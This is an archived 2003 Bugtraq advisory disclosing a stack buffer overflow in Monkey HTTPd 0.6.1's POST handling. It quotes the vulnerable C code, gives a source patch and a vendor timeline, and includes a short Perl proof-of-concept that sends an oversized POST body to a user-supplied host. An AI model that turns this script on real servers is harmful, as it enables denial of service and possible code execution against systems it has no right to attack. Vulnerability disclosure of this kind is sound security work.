bugtraq - Monkey HTTPd Remote Buffer Overflow

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <003901c30784$90883930$e62d1c41@basement>
Date: Sun, 20 Apr 2003 16:34:03 -0500
From: "Matthew Murphy" <mattmurphy@...rr.com>
To: "VulnWatch" <vulnwatch@...nwatch.org>,
   "Full Disclosure" <full-disclosure@...ts.netsys.com>,
   "SecurITeam News" <news@...uriteam.com>,
   "BugTraq" <bugtraq@...urityfocus.com>
Subject: Monkey HTTPd Remote Buffer Overflow

Monkey HTTP Daemon Remote Buffer Overflow

ABSTRACT

"Monkey is a Web server written in C that works under Linux. This is an open
source project based on the HTTP/1.1 protocol.  The objective is to develop
a fast, efficient, small and easy to configure web server."

(quote from http://monkeyd.sourceforge.net)

DESCRIPTION

A buffer overflow vulnerability exists in Monkey's handling of forms
submitted with the POST request method.  The unchecked buffer lies in the
PostMethod() procedure.  The buffer allocated on line 3 of PostMethod():

 char buffer[MAX_REQUEST_BODY];

Is of size MAX_REQUEST_BODY, which is defined as follows in monkey.h:

 #define MAX_REQUEST_BODY 10240 /* Maximo buffer del request */

The security check on line 10 of the procedure:

 if(content_length_post<=0){

is flawed.  This results in a buffer overflow inside the loop below:

 memset(buffer,'\0',sizeof(buffer));
 for(i=4;i<strlen(post_buffer);i++){
  buffer[i-4]=post_buffer[i]; // Buffer overflow
 }

ANALYSIS

Because the buffer that is overrun is a local buffer, it will be on the
stack of most architectures.  If the system stores the return address on the
stack, the potential for flow control exists.  In such a case, successful
exploitation yields the privileges of the monkey binary.  An unsuccessful
exploit attempt would cause the server to fail, denying service to other
users.

DETECTION

This vulnerability was discovered in Monkey HTTPd v0.6.1.

#!/usr/bin/perl
# monkey-nuke.pl
# Monkey HTTPd Remote Buffer Overflow
# Discovery/Exploit by Matthew Murphy
use IO::Socket;
print STDOUT "What host to connect to \[\]\: ";
$host = trim(chomp($line = <STDIN>));
print STDOUT "What port to connect to \[80\]\: ";
$port = trim(chomp($line = <STDIN>));
$addr = "$host\:$port";
print STDOUT "What script to submit to \[\/cgi-bin\/test\.pl\]\: ";
$script = trim(chomp($line = <STDIN>));
$buffer = "A"x11000;
$exploit = "POST /$script HTTP/1.0\r\n";
$exploit.= "Content-Type: application/x-www-form-urlencoded\r\n";
$exploit.= "Content-Length: 11000\r\n\r\n";
$exploit.= "$buffer\r\n\r\n";
$f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$addr);
print $f $exploit;
sleep 5;
undef $f;

WORKAROUND

In monkey.c, replace the line:

 if(content_length_post<=0){

with:

 if(content_length_post<=0 || content_length_post >= MAX_REQUEST_BODY){

Stop the server, re-build your binary, and restart the server.

VENDOR RESPONSE

The vendor was contacted on March 15, a fix was made public 9 days later on
March 24.  The fixed version, Monkey 0.6.2 is available at:

Package
TAR/GZ
http://monkeyd.sourceforge.net/get_monkey.php?ver=4

Debian packages (un-officially maintained by Mattias Fernandez) have not
been updated as of time of writing.

DISCLOSURE TIMELINE

March 15, 2003: Initial developer notification
March 18, 2003: Response from Eduardo Silva (edsiper@...oo.es) indicates
that vulnerability will be fixed by March 24
March 23, 2003: Final contacts with developer
March 24, 2003: Monkey HTTPd 0.6.2 released
April 20, 2003: Public disclosure

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html